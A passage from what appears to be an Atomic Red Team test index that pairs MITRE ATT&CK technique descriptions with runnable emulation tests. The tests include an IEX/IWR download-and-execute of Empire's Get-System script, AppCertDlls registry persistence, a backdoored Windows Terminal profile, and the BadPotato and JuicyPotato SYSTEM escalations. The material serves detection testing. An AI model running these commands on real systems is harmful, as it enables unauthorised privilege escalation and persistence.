        the AppCertDlls registry key. \nOnce the computer restarted, the DLL will
        be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\
        to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: path of dll to use
          type: path
          default: PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll
        reboot:
          description: Set value to $true if you want to automatically reboot the
            machine
          type: string
          default: "$false"
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"
      executor:
        command: "Copy-Item \"#{dll_path}\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg
          add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\"
          /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\"
          /f\nif(#{reboot}){Restart-Computer} \n"
        cleanup_command: |
          reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
          Remove-Item C:\Users\Public\AtomicTest.dll -Force
          Remove-Item C:\Users\Public\AtomicTest.txt -Force
        name: powershell
        elevation_required: true
  T1098.005:
    technique:
      modified: '2023-10-03T17:38:39.065Z'
      name: Device Registration
      description: "Adversaries may register a device to an adversary-controlled account.
        Devices may be registered in a multifactor authentication (MFA) system, which
        handles authentication to the network, or in a device management system, which
        handles device access and compliance.\n\nMFA systems, such as Duo or Okta,
        allow users to associate devices with their accounts in order to complete
        MFA requirements. An adversary that compromises a user’s credentials may enroll
        a new device in order to bypass initial MFA requirements and gain persistent
        access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading
        FireEye SolarWinds) In some cases, the MFA self-enrollment process may require
        only a username and password to enroll the account's first device or to enroll
        a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly,
        an adversary with existing access to a network may register a device to Azure
        AD and/or its device management system, Microsoft Intune, in order to access
        sensitive data or resources while bypassing conditional access policies.(Citation:
        AADInternals - Device Registration)(Citation: AADInternals - Conditional Access
        Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may
        be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)
        campaigns via intra-organizational emails, which are less likely to be treated
        as suspicious by the email client.(Citation: Microsoft - Device Registration)
        Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)
        on an Azure AD tenant by registering a large number of devices.(Citation:
        AADInternals - BPRT)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Pawel Partyka, Microsoft 365 Defender
      - Mike Moran
      - Joe Gumke, U.S. Bank
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Windows
      - SaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Creation'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215
      created: '2022-03-04T18:30:38.989Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/005
        external_id: T1098.005
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: Mandiant APT29 Microsoft 365 2022
        description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29
          Continues Targeting Microsoft 365. Retrieved February 23, 2023.'
        url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft
      - source_name: AADInternals - Conditional Access Bypass
        description: Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional
          access by faking device compliance. Retrieved March 4, 2022.
        url: https://o365blog.com/post/mdm
      - source_name: AADInternals - BPRT
        description: 'Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining
          multiple devices to Azure AD and Intune. Retrieved March 4, 2022.'
        url: https://o365blog.com/post/bprt/
      - source_name: AADInternals - Device Registration
        description: Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD
          device join. Retrieved March 9, 2022.
        url: https://o365blog.com/post/devices/
      - source_name: DarkReading FireEye SolarWinds
        description: 'Kelly Jackson Higgins. (2021, January 7). FireEye''s Mandia:
          ''Severity-Zero Alert'' Led to Discovery of SolarWinds Attack. Retrieved
          April 18, 2022.'
        url: https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack
      - source_name: Microsoft - Device Registration
        description: 'Microsoft 365 Defender Threat Intelligence Team. (2022, January
          26). Evolved phishing: Device registration trick adds to phishers’ toolbox
          for victims without MFA. Retrieved March 4, 2022.'
        url: https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa
      - source_name: Microsoft DEV-0537
        description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting
          organizations for data exfiltration and destruction. Retrieved March 23,
          2022.
        url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
      type: attack-pattern
      created: '2020-01-14T01:27:31.344Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.002
        url: https://attack.mitre.org/techniques/T1055/002
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Portable Executable Injection'
      description: "Adversaries may inject portable executables (PE) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        PE injection is a method of executing arbitrary code in the address space
        of a separate live process. \n\nPE injection is commonly performed by copying
        code (perhaps without a file on disk) into the virtual address space of the
        target process before invoking it via a new thread. The write can be performed
        with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> or additional code (ex:
        shellcode). The displacement of the injected code does introduce the additional
        requirement for functionality to remap memory references. (Citation: Elastic
        Process Injection July 2017) \n\nRunning code in the context of another process
        may allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via PE injection may also evade detection from
        security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Process: OS API Execution'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.002
    atomic_tests:
    - name: Portable Executable Injection
      auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d503e1
      description: This test injects a portable executable into a remote Notepad process
        memory using Portable Executable Injection and base-address relocation techniques.
        When successful, a message box will appear with the title "Warning" and the
        content "Atomic Red Team" after a few seconds.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055.002\bin\RedInjection.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Portable Executable to inject must exist at specified location
          (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1547.015:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3
      type: attack-pattern
      created: '2021-10-05T21:26:15.081Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1547.015
        url: https://attack.mitre.org/techniques/T1547/015
      - source_name: Open Login Items Apple
        url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac
        description: Apple. (n.d.). Open items automatically when you log in on Mac.
          Retrieved October 1, 2021.
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
          11, 2017.
        source_name: Adding Login Items
      - source_name: SMLoginItemSetEnabled Schroeder 2013
        url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/
        description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified.
          Retrieved October 5, 2021.
      - source_name: Launch Services Apple Developer
        url: https://developer.apple.com/documentation/coreservices/launch_services
        description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021.
      - source_name: ELC Running at startup
        url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
        description: 'hoakley. (2018, May 22). Running at startup: when to use a Login
          Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.'
      - source_name: Login Items AE
        url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
        description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.
      - source_name: Startup Items Eclectic
        url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
        description: hoakley. (2021, September 16). How to run an app or tool at startup.
          Retrieved October 5, 2021.
      - source_name: hexed osx.dok analysis 2019
        url: http://www.hexed.in/2019/07/osxdok-analysis.html
        description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October
          4, 2021.
      - source_name: Add List Remove Login Items Apple Script
        url: https://gist.github.com/kaloprominat/6111584
        description: 'kaloprominat. (2013, July 30). macos: manage add list remove
          login items apple script. Retrieved October 5, 2021.'
      - url: https://objective-see.com/blog/blog_0x25.html
        description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September
          21, 2018.
        source_name: objsee mac malware 2017
      - source_name: CheckPoint Dok
        url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
        description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it
          wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.
      - source_name: objsee netwire backdoor 2019
        url: https://objective-see.com/blog/blog_0x44.html
        description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved
          October 1, 2021.
      - source_name: objsee block blocking login items
        url: https://objective-see.com/blog/blog_0x31.html
        description: Patrick Wardle. (2018, July 23). Block Blocking Login Items.
          Retrieved October 1, 2021.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      - source_name: Launch Service Keys Developer Apple
        url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
        description: Apple. (2018, June 4). Launch Services Keys. Retrieved October
          5, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Boot or Logon Autostart Execution: Login Items'
      description: |-
        Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.

        Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

        Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.

        Otherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)

        Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1547.015
    atomic_tests:
    - name: Persistence by modifying Windows Terminal profile
      auto_generated_guid: ec5d76ef-82fe-48da-b931-bdb25a62bc65
      description: Modify Windows Terminal settings.json file to gain persistence.
        [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)
      supported_platforms:
      - windows
      input_arguments:
        calculator:
          description: Test program used to imitate a maliciously called program.
          type: string
          default: calculator.exe
        settings_json_def:
          description: Default file for Windows Terminal to replace the default profile
            with a backdoor to call another program.
          type: path
          default: "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json"
        settings_json_tmp:
          description: Temp file for Windows Terminal.
          type: path
          default: "~\\AppData\\Local\\Temp\\settings.json"
        wt_exe:
          description: Windows Terminal executable.
          type: path
          default: "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Windows Terminal must be installed

          '
        prereq_command: 'if (Test-Path #{wt_exe}) {exit 0} else {exit 1}

          '
        get_prereq_command: '$(rm ~\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\StoreEdgeFD\installed.db
          -ErrorAction Ignore; Write-Output ""; $?) -and $(winget install --id=Microsoft.WindowsTerminal)

          '
      executor:
        command: |
          mv #{settings_json_def} #{settings_json_tmp}
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}"
          wt.exe
        cleanup_command: |
          mv -Force #{settings_json_tmp} #{settings_json_def}
          taskkill /F /IM "#{calculator}" > $null
        name: powershell
    - name: Add macOS LoginItem using Applescript
      auto_generated_guid: 716e756a-607b-41f3-8204-b214baf37c1d
      description: |
        Runs osascript on a file to create new LoginItem for current user.
        NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events"
        Therefore, it can't be automated until the TCC is granted.
        The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
        In addition to the `osascript` Process Events, file modification events to
        `/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` should be seen.
      supported_platforms:
      - macos
      input_arguments:
        scriptfile:
          description: path to Applescript source to add Safari LoginItem.
          type: string
          default: PathToAtomicsFolder/T1547.015/src/add_login_item.osa
        cleanup_script:
          description: path to Applescript source to delete Safari LoginItem.
          type: string
          default: PathToAtomicsFolder/T1547.015/src/remove_login_item.osa
      executor:
        command: 'osascript #{scriptfile}

          '
        cleanup_command: 'osascript #{cleanup_script}

          '
        name: bash
  T1134.001:
    technique:
      modified: '2024-01-10T17:57:36.177Z'
      name: 'Access Token Manipulation: Token Impersonation/Theft'
      description: |-
        Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

        An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

        When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      type: attack-pattern
      id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
      created: '2020-02-18T16:39:06.289Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/001
        external_id: T1134.001
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: DuplicateToken function
        description: Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h).
          Retrieved January 8, 2024.
        url: https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.001
    atomic_tests:
    - name: Named pipe client impersonation
      auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

        Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
        name: powershell
        elevation_required: true
    - name: "`SeDebugPrivilege` token duplication"
      auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
        name: powershell
        elevation_required: true
    - name: Launch NSudo Executable
      auto_generated_guid: 7be1bc0f-d8e5-4345-9333-f5f67d742cb9
      description: |-
        Launches the NSudo executable for a short period of time and then exits.
        NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.
      supported_platforms:
      - windows
      input_arguments:
        nsudo_path:
          description: Path to the NSudoLG.exe file
          type: path
          default: PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'NSudoLG.exe must exist in the specified path #{nsudo_path}

          '
        prereq_command: 'if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore
      executor:
        command: |
          Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
          Start-Sleep -Second 5
          Stop-Process -Name "cmd" -force -erroraction silentlycontinue
        name: powershell
    - name: Bad Potato
      auto_generated_guid: 9c6d799b-c111-4749-a42f-ec2f8cb51448
      description: |-
        https://github.com/BeichenDream/BadPotato
        Privilege escalation using named pipe connections
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'BadPotato.exe must exist in the temp directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true"
      executor:
        command: |
          cd "PathToAtomicsFolder\..\ExternalPayloads"
          Start-Process .\BadPotato.exe notepad.exe
          Start-Sleep -Second 20
          Stop-Process -Name "notepad" -force -erroraction silentlycontinue
          Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue
        cleanup_command: 'taskkill /f /im notepad.exe

          '
        name: powershell
        elevation_required: true
    - name: Juicy Potato
      auto_generated_guid: f095e373-b936-4eb4-8d22-f47ccbfbe64a
      description: "This Atomic utilizes Juicy Potato to obtain privilege escalation.
        \nUpon successful execution of this test, a vulnerable CLSID will be used
        to execute a process with system permissions.\nThis tactic has been previously
        observed in SnapMC Ransomware, amongst numerous other campaigns. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)"
      supported_platforms:
      - windows
      input_arguments:
        potato_path:
          description: Path to the JuicyPotato.exe file
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe
        listening_port:
          description: COM server listen port
          type: integer
          default: 7777
        target_exe:
          description: Target executable to launch with system privileges
          type: path
          default: "$env:windir\\system32\\notepad.exe"
        target_CLSID:
          description: Vulnerable CLSID to impersonate privileges
          type: string
          default: "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"
      dependency_executor_name: powershell
      dependencies:
      - description: 'JuicyPotato.exe must exist on disk

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"
      executor:
        command: 'cmd /c ''#{potato_path}'' -l ''#{listening_port}'' -t * -p ''#{target_exe}''
          -c ''#{target_CLSID}''

          '
        cleanup_command: |
          get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null
          get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null
        name: powershell
        elevation_required: true
  T1098.001:
    technique:
      modified: '2024-02-28T14:35:00.862Z'
      name: 'Account Manipulation: Additional Cloud Credentials'
      description: "Adversaries may add adversary-controlled credentials to a cloud
        account to maintain persistent access to victim accounts and instances within
        the environment.\n\nFor example, adversaries may add credentials for Service
